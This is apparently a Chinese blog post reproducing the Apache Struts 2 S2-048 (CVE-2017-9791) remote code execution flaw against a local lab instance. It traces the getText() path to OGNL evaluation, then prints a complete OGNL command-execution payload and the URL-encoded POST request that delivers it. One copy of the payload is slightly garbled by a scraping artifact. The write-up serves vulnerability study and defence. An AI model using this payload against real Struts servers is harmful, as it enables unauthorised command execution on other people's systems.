1. 程式人生 > 其它 >Apache Struts 2遠端程式碼執行漏洞復現(第二彈)

Apache Struts 2遠端程式碼執行漏洞復現(第二彈)

即S2-048

0x00 漏洞概述

編號為CVE-2017-9791

官方描述是:

It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage

class.

在Struts 2.3.x版本上,Showcase外掛的ActionMessage類處理使用者輸入不當,導致任意程式碼執行。

雖然Struts 2.3.x版本早已官宣退役,但是原始碼值得一看,而且相信還有許多正在服役的Struts 2.3.x專案

影響版本:Struts 2.3.x

0x01 漏洞原始碼

分析基於官方的示例war包

從漏洞描述可知,本質問題在於struts2-struts1-plugin這個jar包。這個庫被用作Struts 1和Struts 2間的銜接,將Struts 1的action封裝為Struts 2的action,以便後者使用。

struts2-struts1-plugin包中的Struts1Action.java有execute()

方法,呼叫了getText()函式,該函式會執行OGNL表示式;getText()函式的輸入又是使用者可控的。

Struts1Action.java

如圖中所示,先呼叫了SaveGangsterAction.execute()方法,然後呼叫了getText()方法。

SaveGangsterAction.java

去檢視一下SaveGangsterAction.execute()的具體實現,檔案位於WEB-INF/classes/org/apache/struts2/showcase/integration/SaveGangsterAction.java。

gform.GetName()被放入messages

,而gform.GetName()的值是從客戶端獲取的。

getText函式

getText()函式的呼叫鏈較長,從Struts1Action.execute()開始追溯。

  1. ActionSupport.getText()

    public String getText(String aTextName) {
        return getTextProvider().getText(aTextName);
    }
    
  2. TextProviderSupport.getText()

    public String getText(String key, String defaultValue, List<?> args) {
        Object[] argsArray = ((args != null && !args.equals(Collections.emptyList())) ? args.toArray() : null);
        if (clazz != null) {
            return LocalizedTextUtil.findText(clazz, key, getLocale(), defaultValue, argsArray);
        } else {
            return LocalizedTextUtil.findText(bundle, key, getLocale(), defaultValue, argsArray);
        }
    }
    
  3. LocalizeTextUtil.findText()

    public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {
        ValueStack valueStack = ActionContext.getContext().getValueStack();
        return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
    }
    
  4. 到了常規OGNL表示式入口。

0x02 利用流程

訪問靶機

先行測試

發現運算被執行了。

抓包改包

重新訪問/integration/editGangster.action路徑。

構造Payload:

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

由於系統解析特性,Payload需要經過URL轉碼,注入命令中的空格也要轉義為%20

POST /integration/saveGangster.action HTTP/1.1
Host: 127.0.0.1:52570
Content-Length: 1022
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:52570
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:52570/integration/editGangster.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=25C4D4A4B6532931B769FC874B99B7DB
Connection: close

name=%25%7B(%23_%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'ls%20-l%20%2Ftmp').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D&age=123&__checkbox_bustedBefore=true&description=123

0x03 工具一把梭

Struts 2系列漏洞實在經典,必然有大佬製作相應的檢測工具。

一個較流行的工具:shack2/Struts2VulsTools: Struts2系列漏洞檢查工具 (github.com)